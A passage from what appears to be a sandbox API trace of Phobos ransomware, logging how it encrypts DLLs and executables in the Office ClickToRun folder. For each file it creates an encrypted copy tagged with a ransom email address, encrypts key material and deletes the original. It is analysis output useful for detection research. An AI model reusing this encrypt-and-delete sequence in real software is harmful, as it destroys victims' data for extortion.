lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.358] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0166.359] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.359] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=567512) returned 1 [0166.359] CloseHandle (hObject=0x2e4) returned 1 [0166.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0166.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.360] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.360] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1231576) returned 1 [0166.360] CloseHandle (hObject=0x2e4) returned 1 [0166.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0166.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.361] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.361] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=947928) returned 1 [0166.361] CloseHandle (hObject=0x2e4) returned 1 [0166.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0166.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.362] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.362] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1295576) returned 1 [0166.362] CloseHandle (hObject=0x2e4) returned 1 [0166.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0166.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.363] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.363] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=512216) returned 1 [0166.363] CloseHandle (hObject=0x2e4) returned 1 [0166.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0166.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.364] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.364] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.365] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1850) returned 1 [0166.365] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.365] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x7d0d8, lpOverlapped=0x0) returned 1 [0166.400] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x7d0e0, dwBufLen=0x7d0e0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x7d0e0) returned 1 [0166.401] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x7d0e0, lpOverlapped=0x0) returned 1 [0166.410] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1590) returned 1 [0166.410] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.410] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0166.410] CryptDestroyKey (hKey=0x1d1590) returned 1 [0166.410] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0166.410] CryptDestroyKey (hKey=0x1d1850) returned 1 [0166.410] CloseHandle (hObject=0x2e4) returned 1 [0166.410] CloseHandle (hObject=0x2e8) returned 1 [0166.410] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0166.547] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.547] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=820416) returned 1 [0166.547] CloseHandle (hObject=0x2e4) returned 1 [0166.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0166.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.548] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.548] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0166.548] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1b10) returned 1 [0166.548] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.548] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xc84c0, lpOverlapped=0x0) returned 1 [0166.611] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xc84d0, dwBufLen=0xc84d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xc84d0) returned 1 [0166.612] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xc84d0, lpOverlapped=0x0) returned 1 [0166.625] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d16d0) returned 1 [0166.625] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.625] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0166.625] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0166.625] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0166.626] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0166.626] CloseHandle (hObject=0x2e4) returned 1 [0166.626] CloseHandle (hObject=0x2d8) returned 1 [0166.626] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0166.634] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0166.634] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1208928) returned 1 [0166.634] CloseHandle (hObject=0x2d8) returned 1 [0166.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0166.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.635] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0166.635] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=902328) returned 1 [0166.635] CloseHandle (hObject=0x2d8) returned 1 [0166.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0166.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0166.636] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.636] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0166.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.637] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1450) returned 1 [0166.637] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.637] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xdc4b8, lpOverlapped=0x0) returned 1 [0166.831] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xdc4c0, dwBufLen=0xdc4c0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xdc4c0) returned 1 [0166.832] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xdc4c0, lpOverlapped=0x0) returned 1 [0166.851] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1b90) returned 1 [0166.851] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.851] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0166.851] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0166.851] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0166.852] CryptDestroyKey (hKey=0x1d1450) returned 1 [0166.852] CloseHandle (hObject=0x2d8) returned 1 [0166.852] CloseHandle (hObject=0x2e4) returned 1 [0166.852] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0167.910] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0167.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0167.911] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=358616) returned 1 [0167.911] CloseHandle (hObject=0x2c8) returned 1 [0167.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0167.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0167.912] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0167.912] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0167.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0167.933] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d14d0) returned 1 [0167.934] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0167.934] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x578d8, lpOverlapped=0x0) returned 1 [0167.961] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x578e0, dwBufLen=0x578e0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x578e0) returned 1 [0167.962] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x578e0, lpOverlapped=0x0) returned 1 [0167.969] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, 